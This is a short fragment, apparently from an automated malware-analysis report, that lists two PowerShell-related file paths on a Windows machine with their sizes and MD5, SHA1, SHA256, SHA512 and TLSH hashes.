- SHA512 ac97692ba91fd44dcc615ea89dd3d5367e3b40b16cd84ba42b1cb9fd71e2b589c47993633ce5e1a155ad5bc3c95219a7b2310cdaf506143ab25c2f87338bafaf
- TLSH T178216873F3CC8610D896403A00DEAC1037B687DB419ECE9BBB88D258B42F598DEA0160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a745d4422b076b2f1e5b3237b8d4894222b4b6cd1084ae28f27bb91887710b8e
- MD5 8bafde2e5ec9d70d7190838fa729df95
- SHA1 1ed5b2aa045c9025d915783dacb479c3e81d4e76
- SHA512 bee23162f1afd322d24f6446f08ec2471b98a4bbc5312373dd61104adedb71ca4a63d0ebe1a1d690a7c82e669b8503de5b8f26cfcb9aea3a0b2827afb7ef150e
- TLSH T148216833F3CC8610D896403A00DEAC1037B687DB419ECE9BBB88D258B52F598DEA0160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i25eqtml.hja.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH